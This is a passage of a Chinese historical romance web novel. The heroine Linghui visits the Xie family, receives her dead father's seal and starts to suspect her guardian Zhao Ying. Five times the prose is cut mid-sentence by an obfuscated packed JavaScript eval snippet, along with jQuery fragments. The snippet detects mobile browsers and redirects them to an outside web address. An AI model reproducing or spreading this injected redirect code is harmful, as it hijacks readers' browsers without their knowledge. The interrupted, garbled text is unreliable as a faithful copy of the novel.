自从有了和赵缨的约定,灵徽便有意和谢衍保持着距离。她不是个粘缠的性子,也做不出朝三暮四的事情。起初不过是无所依恃,便有了接近的意图,可等自己想清楚了真实的内心,也了解了谢衍的志向,她便不想再误人误己。 于是对皇后道:“谢郎君为人正直,当有自己的考量,臣实在不好意思多加置喙。” 皇后经过保胎之事,对灵徽爱信更重,并不以为这是一种推脱,反而认为她举止有分寸,拒绝是出于闺秀的自矜,笑着宽慰道:“你是不知道七郎,他本就是个别扭的性子,这不过是个散官,是陛下爱重他,他无需想这么多的。我说着他都听腻了,你去说说,他必然是会听的。” 见灵徽仍要拒绝,皇后垂眸低笑,话说得更加推心置腹:“谢氏如今看着富贵,但子弟并不繁盛,在朝中也未有多出众的贤才。七郎虽然年少,性子也散漫疏淡,但到底天资颖悟,品性正直,所以一直被寄予厚望。灵徽,不瞒你说,我如今看着正位中宫,但心里不安的很。后宫亦如外朝,宠爱与否从来都不是最重要的,我和孩儿都需要一个有力的外家才能活下去。” 灵徽怎会不明白,别说皇后,如今这个世道中,谁不需要一个有力的家族作支持呢?若她不是孤女,如何能举步维艰如此,随意让人摆弄命运。 再推拒就不合规矩了,灵徽只能硬着头皮,接下了这个任务。 谢府坐落在乌衣巷,门厅轩敞的扩大宅院,看着不算华丽,但越往里走才越能感受到这种世家大族的豪奢和威仪。 因为奉了皇后之命而来,所以谢家不能怠慢,衣衫华美的仆从一路分花拂柳地领着灵徽来到了谢夫人居处。而谢夫人早早就等在堂屋中,安置好了坐塌,站在屋外静候灵徽的到来。 谢家的冢妇谢夫人,正是谢后和谢衍的亲生母亲,出身于江南本地大族吴郡陆氏。生得不算高大,但五官十分精致秀美,人到中年,又添了几分韵致和涵养,看着十分优雅。 一见到灵徽,谢夫人便笑着行礼,口中道:“总听人说宜城君容止皆美,今日一见,果真如此。” 灵徽哪里能接受她的大礼,急忙一手相扶,口中道:“今日冒昧前来叨扰,是灵徽失礼。” 谢夫人忙摇头,一面指着坐塌引灵徽坐下,道:“你是奉了皇后殿下之命而来,哪里算得叨扰。听闻陛下有意赐婚你与七郎,今后便是一家人,哪里需要这般客气。” 灵徽坐下,榻上垫着柔软的绣垫,绣垫的质地和繁复的绣工,略扫一眼便知千金难得。更别说厅堂内的各种布置,雕梁画楹,极尽华美,金玉饰物,不可胜言,目之所及,无处不细致,无处不用心。谢家的豪奢,远远超过她的想象。 灵徽与谢衍的婚事,如今在建康城已经算不得秘密,哪怕她尽力躲避,仍旧避无可避。没料到谢夫人主动提及,灵徽微微垂了眸,想要搪塞过去:“殿下命我前来,说是为了见谢郎君,其实也是为了宽慰夫人。如今殿下身体康健,,饮食睡眠皆好,请夫人千万放心。” 说到这个,谢夫人笑意就更加温和慈爱了:“还不是多亏了女君,若非你身边的女医及时诊治,怕是要出大麻烦。女君待谢家有恩,我与殿下都会牢记在心的。” 灵徽忙说不敢,又寒暄了许多句,这才听侍女通传:“七郎君至。” 一身银灰色罗衣的谢衍出现在眼前时,灵徽仍免不了眼前一亮。他应当是特地更衣收拾后才来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971533|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见客的,发髻梳的齐整,哪怕是腰间的躞蹀带都整理的半丝不乱。本就形貌昳丽的郎君,就算不打扮也出众,更何况收拾地这般体面精致。 赵缨说得对,谢衍这样的家世容貌,心性品格,配得上这世间最好的女子。、 “见过宜城君,见过阿母。”谢衍肃容时,很是温雅,翩翩矜贵。 灵徽点头,算作回礼,抬头间,见他已眯起了眼眸,笑容明亮。 谢夫人暗笑,缓缓起身,道:“宜城君今日奉殿下之命而来,想必还有要事,如此我便不打扰了。若七郎有什么照顾不周的地方,女君千万别客气,只管告诉我,千万别纵着他。” 她的话说的诙谐,连灵徽也被逗笑了,忙说不敢,然后目送她离开了堂室。 谢家安排的极有分寸,没有让他们在谢衍的居所见面,而是光明正大的在谢夫人会客的堂屋之中。单凭这一点,便知是诗礼之家,不会平白让人尴尬,也不会任流言污了门楣。 只是这样的家门,竟也会允许她这般声名有污的人进门,只能说明这乱世中兵权真是个好东西,可以藏污纳垢,拂尽尘埃。 可她并不稀罕这样的忍耐啊。这和喜不喜欢谢衍没有关系,她恐惧的是,嫁入谢门,从此便是空待日移的深闺妇人,阿父那些旧部无论是被何人攥在手中做什么,都和自己不再有关系。 她无依无靠,嫁人便意味着将命运和前途尽数交付,从此后只能紧紧攀附于丈夫,依靠着他的态度而活。谢衍的喜欢来得太快,散的也匆忙,这是他这样家世的男子的一贯心性,自己本不该招惹。 “灵徽?”谢衍的声音,惊扰了她的思绪。 抬首,眼前便是一张桃李秾华般的脸,谢衍的笑容永远让人有春风拂面般的感觉,然而现在的灵徽心绪烦乱,并无欣赏的想法。 “谢郎君,近来可安?”她一开口便是疏远的距离,谢衍怔了怔,茫然地应了声“好”。 38. 三十八、交心 屋外秋高气爽,天色澄蓝如明镜,谢衍怕她拘束,便带着人到了后园。 谢家后园以山石仿自然之形,引秦淮之水,潺潺自高处流下,最后在山底汇成了一汪碧盈盈的湖水。湖中种了荷花,可惜深秋将至,唯有几处残荷尚存,只待夜雨缓至,便可倚在湖边的小榭中,静听雨声。 灵徽跟随谢衍的脚步,缓缓踏过湖面上的石桥,白玉栏杆上的小兽雕刻的精致,灵徽摸了摸小兽的头顶,好奇地打量着它栩栩如生的眉眼。 “这是白泽兽,能言语,通万物之情,知鬼神之事。”谢衍的声音响在耳边,耐心解释。 “能通万物之情么?可知人的喜悲之事?若真由此灵兽,世人怕都惦念着将其据为己有。毕竟财可轻得,情却难诉。”灵徽叹惋。 谢衍望着她,望了很久很久,才弯起一个和煦的笑容,语气清淡如风:“灵徽有情,自会有人愿意倾听,莫要自怨自艾。” “谢郎君……”灵徽讷讷,刚刚开口便被打断。 “我倒是更愿意听你喊我‘七郎’,可惜,我知道你的心在何处,明白这些强求不了。”谢衍的眼中有湖水的倒影,遥望远处,微波荡漾。 “谢……谢郎君……”灵徽不知道自己还会有这般心酸难受的时候,她以为自己是个心肠冷硬的人,却总是被这个人影响的满腹愧疚,辗转难安。 “陛下赐婚,我自然欢喜非常。可是我也明白,你和其他女子总是不同的,你心中藏着事情,自然是不想轻易嫁人,困于内宅。你不用纠结,若是不想成婚,便先拖着,我必不为难你。”谢衍温声说,并未看到此刻灵徽眼中的惊讶与仓皇。 “你不必这般迁就我,说到底,今春之前,你我素昧平生,你并不了解我的过去,也并不知晓我的经历。所以,我不希望一些东西蒙蔽了你的双目,让你对我有错误的期待。”灵徽定住脚步,看着谢衍,诚恳说道。 谢衍歪了歪头,状若无事地躲开了她的注视,看着此时平静无波的湖面:“你认为谢家娶妇,会是盲婚哑嫁吗?你的过往,我不提,不是在意或者不在意,是因为我根本不在乎。我只是心疼你,想让你从此安稳平静,不再受颠沛流离之苦。” “可是七郎,我想要的不是安慰,也不是别人的庇护。”灵徽一旦较真,总是锋芒毕露。她勉力让自己的语调温和一些,所以用了谢衍更希望听到那个,较为亲昵的称呼。 她生得冷艳,不笑时便如暮春月下的梨花,皎洁却孤清。 “我不想欺瞒你,若是让你有过什么误会,那是我太过于莽撞无礼,还请你原谅。”灵徽似乎想要将话一次性说清楚,绝不拖泥带水,但这种决绝,会不会让对方一时无法接受,她显然并没有考虑。 谢衍也冷了脸,并不想听下去。世事风云变幻,谁能说得来以后,感情这个事情,有人比他多努力了十年,他也不介意再用十年去弥补,去追赶。精诚所至,金石为开,那些赵缨曾经做过的事情,他会做得更好。那些赵缨不曾做过的,他也会更加细心周到。 天下女子万千,能这般牵肠挂肚惦念的,唯有她一个。缘分之事,他深信不疑,遇上这样一个人何其难。他尊重她的一切,不代表他会轻言放弃。 “灵徽,今日不谈这些,皇后殿下让你来此,是为了说服我接受陛下好意,领了散骑常侍之位吧?”谢衍哪怕心情不豫,也并不摆脸色给人看,只是笑容浅了些,眼中的神采淡了些。 濯濯如春风的少年,选择用逃避来解决问题,灵徽冷静了片刻,亦给予了成全。 不知不觉走到了桥下,几尾红鱼追逐而来,于水边露出头,等待着人的喂食。鱼养久了也有灵性,谢家的侍女乖觉,见此情景,急忙从数步开外跑上前来,递上了鱼食。 “听闻七郎常年随谢夫人礼佛,可知这鱼是何寓意?”灵徽轻捻鱼食在手,看着那些散开的殷红色很快聚合,团成一团红雾,仿佛是血迹一般。 “鱼为佛眼,能看清世间一切污秽。”谢衍回应。 灵徽点头,又补了一句:“鱼入水中自由自在,游刃自如。人亦如此,当为自己选择一处澄澈之水,自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984496|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自在的活。” “仕途便是那方澄澈之水吗?”谢衍反问,也将鱼食扔入水中。鱼儿无知无觉,却嗅着味道,在水中曼妙的游荡,轻巧地将食物吃到口中,一吃完便优哉游哉地继续享受自己的自由, “世上本无绝对的自由,更何况在这样的乱世。七郎有幸,生于钟鸣鼎食之家,不必受生计之苦,不必经骨肉离散之痛。可是你也有自己的责任,世族不比平民,若只念着逍遥自在,怕有旦夕之祸。”灵徽认真道。 谢衍显然不赞同,摇了摇头:“世族家大业大,子弟众多,非要强迫每个人都在权利旋涡中蝇营狗苟吗?先前你为我卜师卦,我已说过,不欲入行伍。便是不想在纷纷扰扰中,消磨此生。如今天下,兴兵无道者何其多,何必要徒增杀戮,争战不休。” 灵徽的脸色算不上好看,她本不想与人有任何争执,但涉及到她最隐秘的痛楚,她不得不反驳:“若非胡虏犯境,北地沦陷,谁不想过着安逸舒适的日子。的确有人兴兵无道,但那些挣扎在前线的人是为了什么,是为了自己的蝇头小利吗?他们是为了家国啊!若是没有他们的鲜血,建康城里的贵族凭什么过着吟风弄月的安逸日子,七郎有志,本不该强求,可是如此说是否过于偏颇,让有志之人齿寒。” 谢衍想起了她的遭遇,自知失言,讷了一下,开口解释:“是谢某失言,女君莫怪。不过朝中情势复杂,有人想用北伐之名,借机揽权。有人趁流民南渡,借机招揽部曲门客。这些人都非忠君爱国之士,故而我心忧愤,才会说出方才的话。” “正因奸佞众多,才更应该澄清玉宇不是吗?七郎退避,不是更给了那些人机会吗?散骑常侍虽是散官,但位高且为天子信任,假以时日当有可为。到时提拔贤臣,重用廉吏,何愁不能安定天下。”灵徽不知道,自己可以说这么多话,对着除了赵缨以外的人,这般掏心掏肺。 她被迫来此,为谢后做说客,却想不到有了这般机缘,可以和这个她一直很欣赏的人交心而谈。 就算没有情缘,也该是携手同行之友。 39. 三十九、印信 不知不觉走到了湖边的小榭之中,乌木之上刻着两个字“寻芳”。谢衍侧身,请灵徽先行,她今日束着一条月华裙,行动时粼粼如月移。 她素来喜欢这种简素的打扮,烟霭曼雾的相貌,山岚云岫的气质,越是这般,就越美的动人心魄。 谢衍嗅到她身上飘出的淡淡香气,依稀是当年洛城中颇流行的月华香。所谓的月华香,其实是桂花香的一种,传说有种桂花在夜间月色正浓时,香气最是馥郁,洛阳女儿便摘了此花来入香,香气清甜悠远,数步可闻。只可惜,过江之后,很少再有人记得,大家更愿意追捧沉水等木香。 她是个念旧的人,无论是所穿,还是所用。仿佛一个困在旧梦中的人,不是不能醒来,而是不愿醒来。 谢家婢女早在寻芳榭中布好了茶水。一方檀木几案,两只靛蓝莞席,靠窗的位置摆着一个高几,上面放着一只白瓷瓶,里面供着几朵绿菊。极素极雅,可见主人意趣旷达。 灵徽环顾之时,谢衍已经洗好了茶具,玲珑的几只白瓷,是京郊几个官窑烧出的新东西,建康并无几家拥有。谢衍见她盯着茶杯发呆,笑道:“这般喜欢么?若是不弃,我明日送你一套新的。” 灵徽苦笑,揶揄道:“北地贵族多喜金银之器,以为那便是时间最为贵重华美之物。岂不知这小小白瓷,烧制之工,耗费之力,远超金银。” “灵徽觉得奢靡?”谢衍不恼,静待水煮沸,又洗了一遍茶具。 灵徽见他手指白皙修长,动作流畅优雅,低首轻笑,缓缓摇头:“家学渊源,钟鸣鼎食,哪里能轻言奢靡。不过胡人虽粗鄙,但颇有志气,我曾见他们不眠不休驱驰千里,只为了争夺一小片草场。也见他们凌冽寒冬时,不饮不食,将东西都留给妇孺,忍饥挨饿守护领地。我们总是鄙夷他们,却未有反思过,为何这些人会逼着王业偏安,中原失守。” “灵徽,慎言。”谢衍用指在唇上比了个噤声的动作,轻笑着挥手,示意随身的侍女们离开,给俩人留了一个更清净的环境。 “虽然你说得不错,但是这样的话,建康城未必每个人都喜欢听到。”谢衍很少用这样的语气说话,他是个不算严肃的郎君,不似赵缨,总是喜欢板着脸教育她,拿她当个孩子。但是他这样的神色,看着却比赵缨还严肃。 “灵徽,你说得道理,我都明白。虽说人各有志,可是此次我愿意听你的,尽力一试。或许这也符合我阿姊他们的期待,毕竟我还姓谢,享受了家族的庇佑,也该做些什么。”说完这一句,他开始点茶,手中的动作迅疾却仍从容,观知赏心悦目。 阿父亦深谙此道,他那个人,若不是一意孤行地去边关,也是洛城中最风雅不过的男子。可惜,在她记事后,这些都是别人口中的传说,她未曾见过。 一盏茶奉到她面前时,灵徽收回了自己带着悲伤的回忆。她用眼睫挡住了自己眸中的晦暗,尽可能的用诚挚的语气,夸赞对面等待着自己评价的人。哪怕她的评价略显敷衍,对方仍表现的受用。 朗笑声透过湖面,袅袅而去。 灵徽没有留下来用膳,她今日还有其他事情。 马车从乌衣巷出来,绕了个弯,去了秦淮河边的一处楼宇。此楼名裕景,经营的是北地菜式,店掌柜是个丰腴的中年妇人,一见灵徽便眯起眼睛,笑着迎了上来:“今日有新菜式,女郎楼上座,自有人迎候。” 灵徽带着帷帽,微微颔首,再无多言,径直向楼上走去。 推开包厢的门,一个山羊胡子的瘦削男子等候在内。门扉甫阖时,那男子立时起身,对着灵徽便深深拜了下去,口中道:“女郎,殷沣可算见到你了。” 灵徽哪能接受他的叩拜,急忙上前一把扶住,眼圈瞬时就红了,道:“叔父,圆月哪敢受您之礼。你还活着,真是太好了。” 殷沣是杨尚麾下长史,晋阳一战后便失去了消息。灵徽本以为他早就不再人世,谁知上个月才辗转有了他的消息,于是越好乔装入城,在裕景楼见面。 裕景楼是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003052|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵徽的产业,这一点连赵缨都不知道。为了北伐,她投入了许多心血,并非只是说说而已。 “某一听说女郎在此,立刻日夜兼程而来。听说陛下封了你为宜城君,今后便该称‘女君’了。”殷沣也是看着灵徽长大,他家与灵徽家算是有远亲,杨尚去晋阳前,两家还曾住在同个里巷。 彼时殷沣新婚,新妇做的一手好髓饼,灵徽最喜欢到他家蹭吃蹭喝。可惜,殷沣的新妇生产时难产而死,他大约是伤心太过,于是跟着杨尚去了晋阳,再未回来。 “叔父这般说,圆月无地自容,这封号不过是受阿父余荫而得,圆月如何敢受。晋阳城热血未干,仇恨未雪,我怎能安心享乐,忘却那些忠魂。”灵徽哭了一场,拭着泪水说道。 殷沣亦红了眼圈,说了声是:“晋阳城近万人,守了那么多年,要不是朝中有人出卖,怎会落得那般结局。女君啊,我一日不敢忘掉那些国仇家恨,哪怕剩了一口气也要报仇。不过苍天见怜,将军若是知道你还活着,也能瞑目了。杨家还有人,咱们就还有机会。” 他说完,将一个东西从怀中拿了出来。那是一方印章,玄铁制成,上面为虎钮,系着红色的绦子。 “这是……”灵徽未接,好奇反问。 “这是将军私印,晋阳城破,全军覆没,但是将军散落各处的部曲仍有上万。女君拿着此印,便可召集散在各处的旧部,咱们养精蓄锐,总有一日可以打回去。”殷沣激动道。 灵徽将沉甸甸的印信握在手中,仿佛能够触到阿父身体的温度。殷沣来得太及时,在她最不知所措的时候,在她最孤立无缘之时。她一直想要召集阿父的旧部,但苦于没有办法,这一刻,她终于有了抗争的勇气。 “玄鉴阿兄如今已为荆州刺史,掌一州之兵,若是他知道了这个消息,当如虎添翼。”灵徽对殷沣激动道。 谁知殷沣却断然否定:“不可,女君万万不可信任赵玄鉴,晋阳城破时,他行踪可疑,说不定出卖将军,他亦有份。” 40. 四十、月色 灵徽怔住,如遭雷击:“怎么会,叔父,这其中是不是有什么误会?” 殷沣知道他们二人情分匪浅,搓了搓手,斟酌着用词:“其实我也是不信的,但是逃亡到汜水关时,遇到了赵缨的裨将朱虚,他说自己在晋阳城破前,曾亲眼看到赵缨私下见过刘棼的右军司马刘涂,二人相谈了许久,不知在说什么。” 灵徽本能摇头,隐隐有些耳鸣:“不可能,阿兄差点殒命在晋阳城,若真是有所图谋,怎么会让自己陷入险地。叔父,莫要道听途说才好。” 殷沣叹了口气,微微低下了头:“女君教训的是,不过防人之心不可无,还是莫要太信任他才好。毕竟他如今已是一方州牧,位高权重,若是真得了将军旧部数万之众,那便是如虎添翼。若那时才发现他狼子野心,便为时已晚了。” 灵徽的脸色算不上好看,人却沉稳依旧,勉强带着浅笑,装作若无其事:“叔父放心,且在此处安心住些时日,多留心北归将领的消息,咱们再图大计。” 对于这个任务,殷沣乐于接受,躬身送灵徽离开。 …… 回山时,又是夜色迷蒙之时,秋叶未落但有苍苍之色,被风一吹,悲鸣声起,呜呜然,仿若疾苦之声。 灵徽胸口的印信滚热发烫,那里像是多了一颗心在跳动,她从未感觉到自己和阿父离得这般近。 阿父一直都是一个传奇,存在与洛阳人的讨论间,活在晋阳城的悲歌里,传颂在南渡人的故事中。听说他是个倜傥风流的人,早年吟诗作赋,吹笛奏曲,曾是洛城许多少女的春归迷梦。后来他孤身请旨去守孤城,用几千人马,让匈奴人不敢越关一步。 一次匈奴五万大军压境,黑压压的人马仿佛乌云般,聚拢在城下。阿父独自一人出现在城墙上,一曲羌笛哀哀响起,引敌方将士思乡痛哭,不战而退。 那样一个人,不在了啊。 秦淮河边,琴声袅袅,曲调靡靡,这样安逸的日子,又是谁浴血奋战换来的? 山门处,一个高大的身影玉立在那里,远远看到马车时,便露出一个温暖的笑意。马车上的鸣珂声清脆,摇曳如乐曲,连带着风灯都如舞在风中般。 灵徽借着风灯的幽光,遥望着赵缨,眸中有碎裂的光芒。 越来越近,心事便该藏起,不让人知晓。 赵缨将灵徽紧紧抱在怀中,似乎这样的亲近,才能了结这短短数日的相思之苦。以往他不明白灵徽的心意,如今明白了怎会不珍之重之。 她的身上有烙在记忆中的香气,还记得她用的第一盒香蜜,便是他买的。都说洛□□贵,小小的一盒便用了他三个月的俸禄。可是当她仰着头,甜甜叫他阿兄时,他就觉得一切都值得,什么都是值得的。 如今他掌一州之事,钱帛之事再也不用放在心上,但他心上的女郎却再也不会缠着他买什么东西了。 一身简素的她,似乎不再有物欲,她的眼中出现了更大的欲望,关乎天下。 “阿兄怎么来了,这般频繁往来于城内外,若是陛下知道了,又该怪你不尽心于社稷了。”她轻笑,狡黠地眯着眸子,手却环住了赵缨的腰。 赵缨身量颇高,为了配合灵徽,微微弯下腰来,笑得宠溺:“陛下亦心疼我,这般岁数,尚无家眷。” “这么多年就没有一个女子可入阿兄之眼吗?”灵徽笑着问。 “这世上只有一个圆月。”赵缨回答。 谁说他讷于言语的,他若真心想哄人,定会将人哄得很开心。 “天色太晚,月亮也困了,怎么办?”灵徽用手臂挂着赵缨的脖颈,声音糯糯地撒着娇。赵缨无奈地叹了口气,伸出手臂将她打横抱起,一路抱到了寝屋之中。 云阁先回了观,早早吩咐众人退下,给了他们一片清净。 明月高悬,秋风萧瑟,屋中烛火阑珊。赵缨坐在灵徽榻边,看她慵懒地阖上双眸,似乎真的倦了,一动不动,很快就睡着了。 他方要离开,忽然就被攥住了手,一个懒洋洋地声音传了过来:“阿兄没有唱歌给我听,不许走。” 赵缨无奈,反而指责道:“你未曾梳洗便睡下了,这个习惯可不好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016269|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不困,过会儿再说,现在我只想听阿兄唱歌。”她娇蛮起来,依稀旧时模样。 赵缨摇头:“我若是唱了,这观中的人今晚都别睡了,会做噩梦的。” 灵徽莞尔一笑,看着他面色发窘,便不再执着,却又道:“既然不唱,便给我讲故事吧。” “想听什么?” 刚刚还睡眼惺忪的女郎,此时精神忽然就好了,她坐起身来,眼中带着灼灼光芒:“我想听听晋阳旧事。” 赵缨垂眸看着她,仍是一副好脾气的样子。他的五官长得端正利落,就是有些严肃,此时看着却很是倜傥,连月色都仿佛是为他所备一般,平白替他添了许多温柔。 “你听过许多遍了,还要听吗?”他问。 灵徽妙目一盼,轻轻拨着他的手指玩。不同于谢衍的洁白纤细,多年沙场拼杀,赵缨的手很粗糙,手指关节尤其突出,摩挲着有粗粝的触感。 “之前说得都是我阿父,我想听听其他人。” 赵缨任她在自己的掌中胡作非为,笑着反问:“其他人?圆月想听谁的故事?” 她极认真地想了想,终于放开了他,却拨弄起了她自己的头发:“我想想啊,我去过两次晋阳,一次是在八岁的时候,还有一次是十二岁。记得你身边有个少年,和我年岁相仿,他长个五短身材,但手巧得很,还给我编过草蚂蚱玩。” “朱虚?”赵缨想了想,脑海中出现了那个黝黑粗壮的少年,神色暗了暗,“你说得那个少年,是我的裨将,叫朱虚。” “你们私交如何?”灵徽问。 赵缨点头:“同袍兄弟,生死与共,可惜他死在晋阳城破的那一天了。” 灵徽垂了眸,不知所想,半晌开口道:“那也不一定啊,你都能死而复生,或许他也尚在人世。” 赵缨痛苦地闭上了眼睛,摇头:“不会了,他中了流矢,在我怀中咽的最后一口气。原本那个箭矢是冲我来的,若不是他,死得便该是我了。” “那年他十六岁,听说家中已经给他说了亲,可惜……” 41. 四十一、隐忍 按赵缨所说,朱虚应当已经死在了三年前的晋阳城,但是殷沣却说他在汜水关见过朱虚。到底他们谁所说为真? 后半夜灵徽头疼欲裂,听着窗外呼啸地风声,辗转反侧,到了天色微明时才勉强睡着。 一觉睡到巳时,觉得饥肠辘辘,叫了声云阁。不一会儿,听得门扉轻启,却是星台走了进来。 “豫章长公主来了,云阁姊姊见女君沉睡未醒,便先去前厅侍候了。” 星台打起帘子,见灵徽眼底乌青一片,好奇道:“女君昨日未曾睡好吗?怎么看着甚是疲惫?” 灵徽打了个哈欠,恹恹道:“替我梳妆吧,多遮些粉,再扑些胭脂上去,莫要让长公主看到,又该奚落了。” 这样一番打扮下来,镜中人倒比平日里多了几分冶艳,为了配合这个妆容,又不得不穿了件银红色连珠纹的襦衣,人便越发娇美了,全然不似平常那般疏冷的样子。 尚未走到前厅,就听到萧季瑶的笑声,朗朗传来:“你家女君昨夜是做什么去了,睡到这般时候。一个出家人,这般惫懒,我可要参她一本了。” 又听得一男子之声响起:“早听闻雁回山风景秀丽,这清都观门庭若市,今日一见,果然仙都云殿,让人惊叹。” 这个声音灵徽不熟,听不出来来者为谁。 “你以为清都观热闹是因为风景?”萧季瑶的声音里带着揶揄,“等一会儿见到人,你才明白到底为什么。” 灵徽的脚步顿了顿,眉头皱得越发紧了。长公主一向荒唐,今日不知道又带了什么人来,这般言语轻薄,实在让人不悦。赵缨告诫过她,莫要和萧季瑶往来太密切,灵徽自然知道原因。若不是为了自己的计划,她哪里需要这样费心周旋。 想了想,还是将头上的金钗摘了,又用帕子将脸上的胭脂抹的淡了些。 可她甫迈步进去,仍让厅中所坐之人怔愣了半晌。薄薄的日光笼在她身上,她仿佛是湖水中袅然绽放的菡萏,娇而不媚,卓然生辉。 “宜城君,今日我带彭城王来讨口茶喝,不介意吧。”长公主萧季瑶指了指身旁的男子,对灵徽笑道。 灵徽一进屋,便注意到萧季瑶身边的男子。 二十多岁的年纪,生得和皇帝萧祁有五分像,面色白净,身材微丰,眉眼倒算得上温和。 彭城王萧邡,当今陛下萧祁的异母弟,也是他为数不多的血亲之一。长公主带他来究竟是为了什么,如果说方才猜不到,那么冷静片刻后,也能够想明白。 她在利用萧季瑶,又怎知萧季瑶不会利用她呢。萧季瑶与王家来往频频,自然不会愿意看到她和她身后的势力一起投靠了谢家,成全了皇帝的私心。 她的心中还是那个已经残损了的萧家天下,始终不肯承认成都王一脉为正统,哪怕江山成了如今这般,先帝负有全责。 一个女子的力量毕竟有限,所以她能做的便是这些微不足道的反抗。不管是示好于王家,还是竭力扶持彭城王,亦或者将谋算用在自己身上。 灵徽很庆幸自己对长公主的一切了如指掌,否则这般无所顾忌的人,若是想要针对她,她毫无招架之力。 想清楚了原委,便从容许多,灵徽上前,向彭城王行礼:“宜城君杨氏,见过彭城王殿下。” 萧邡也算阅美无数,却少见这般容色出尘的女郎,她越是待自己疏淡,他就越是对她好奇。 建康城都传言,谢家七郎对她一见倾心,恋慕成痴,特地求了皇帝赐婚于他。谢七何等风姿,每每出行,掷果盈车,拥堵车马,连他都恋慕的女子,定然有出众之处。 萧邡着意留意灵徽的样貌,一双眸子逡巡在她脸上,盯着人不甚自在。当今皇族放荡,教养品性远远不及世族,这也是人人皆知的事情。只是彭城王这般失礼,仍让灵徽觉得十分不快。 “咳咳……”长公主的声音打断了彭城王的窥视,她捂着帕子笑得开怀:“‘余情悦其淑美兮,心振荡而不怡。无良媒以接欢兮,托微波而通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026374|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞。’这曹子建的文章写得真不错,连我读着都心驰神往,想要一探洛神之美。可自从见到了宜城君,我便知曹子建所写,也不足以描摹姝色之一二啊。” 文章里那么多句,她偏引了这一句,用意不可谓不昭彰。 灵徽浅笑,耐着性子和他们周旋:“不知二位殿下今日前来,让你们等了这么久,实在失礼。云阁,可将最好的茶奉上?” 云阁应了是,见灵徽目光盯着空荡荡的几案,忙解释:“奴已准备好了茶,殿下说要等女君前来,亲自奉上。” 她话音未落,长公主的脸色忽然大变,冷哼一声:“你这婢子好生无礼,主人家的事情,也是一介奴仆可以嚼舌根的么?不如拖下去打死,我再给你换几个好的过来。” 云阁吓得颤抖不已,急忙磕头告罪。 灵徽知道她不过是拿云阁作筏子,轻笑温言道:“殿下最是会调教奴婢,上次送来的宣阳就很好,聪慧有度,哪里是这些笨丫头可以比的。都说主愚仆笨,可见都是我的错,长主便饶了她吧,今后我定不让她上前来惹殿下心烦。” 彭城王亦有心卖灵徽面子,随即道:“季瑶莫要跟奴婢一般计较,今日我们来观中做客,怎么也得给宜城君一个面子啊。” 话说到这里,萧季瑶忽然笑了起来,对彭城王道:“王兄一向怜香惜玉,倒是妹妹无礼了。也罢,改日我再送些奴婢过来就是,别让这些蠢东西带累了女君。” 说完,又莞尔对灵徽:“阿兄的面子,我自然不能不给的。宜城君可要亲自奉盏好茶给他,谢过他的大恩才好。” 灵徽说自然,使了个眼色让吓得脸色煞白的云阁和星台离开。独自煮好茶,沏了两盏,奉给了彭城王和豫章长公主。 她的恭顺态度,取悦了上首二人,彭城王盯着她的纤纤细指,笑得眼睛都眯成了两条缝,越看便越欢喜,对着长公主萧季瑶不住点头。 灵徽咬了咬唇,强迫自己隐忍不发,面上始终带着恬淡的笑容。 42. 四十二、身份 “听闻陛下已将女君赐婚于谢七,不知可为真事?”彭城王接完茶,掀起眼皮,状似无意地问灵徽。 灵徽也不讳言,坦荡承认:“陛下那日来观中,确曾这般说过。” 